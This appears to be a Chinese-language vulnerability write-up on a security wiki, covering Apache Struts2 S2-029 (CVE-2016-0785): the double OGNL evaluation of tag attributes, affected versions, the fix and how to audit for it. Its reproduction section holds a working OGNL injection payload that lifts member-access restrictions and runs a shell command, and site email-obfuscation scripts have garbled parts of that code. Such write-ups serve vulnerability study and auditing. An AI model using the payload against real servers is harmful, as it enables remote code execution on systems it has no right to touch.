menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2016-0785)S2-029 chevron_right (CVE-2016-0785)S2-029.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2016-0785)S2-029.md
    3.87 KB / 2021-07-15 19:48:29
        (CVE-2016-0785)S2-029
    =======================
    
    一、漏洞简介
    ------------
    
    代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了"%{}"。最终造成二次执行。因此需要的条件极为苛刻,特殊的代码,value值为空,可以传参到value,控制name,严格来说应该是个本地漏洞。
    
    二、漏洞影响
    ------------
    
    Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)
    
    三、复现过程
    ------------
    
    S2-029的公告说是可能的远程代码执行。而且依然是ognl导致的。
    
        The Apache Struts frameworks performs double evaluation of attributes values assigned to certain tags so it is possible to pass in a value that will be evaluated again when a tag’s attributes will be rendered.
    
    目前网上已经有一些成熟的参考的资料了。详见文末参考资料。这次的漏洞虽然是代码执行。但是风险不高,需要开发者使用了特定的代码写法才会导致漏洞。需要直接将用户提交的数据通过标签设置成属性值。
    
    比如:
    
        <s:i18n name="%{#request.lan}">xxxxx</s:i18n>
        <set var="%{#parameters.tang3}"/>
    
    通过`%{#}`的方式获取用户输入放入标签属性,会导致代码执行。struts2的修复方式也是直接过滤了`%{}`形式的字符串的ognl解析。
    
    1.png
    
        这段代码的修改用来处理掉了非%{开头,}结尾的字符串进行ognl解析的功能,这里我们来举个例子:bar%Ӑ+3},在修改之前的代码中2+3是会被作为ognl执行的。那么修改后,这种形式就只会被当做字符串来返回。
    
    审计方式就是查看是否有`%{#}`这种方式获取用户输入变量复制给标签属性的代码写法。
    
    测试代码:
    
        <<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="20056050414745">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script> import="java.util.HashSet"%>
        <%@ page contentType="text/html;charset=UTF-8" language="java" %>
        <%@ taglib prefix="s" uri="/struts-tags" %>
        <html>
        <head><title>Demo jsp page</title></head>
        <body>
        <%
          request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="f8db99c5b892998e99d69499969fd6aa8d968c91959d">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>@getRuntime(),#a.exec('touch /tmp/1111'),new java.lang.String('");
        %>
        <s:i18n name="%{#request.lan}">xxxxx</s:i18n>
        </body>
        </html>
    
    2.png
    
    查看tmp目录文件已经生成。
    
    3.png
    
    
    links
    file_download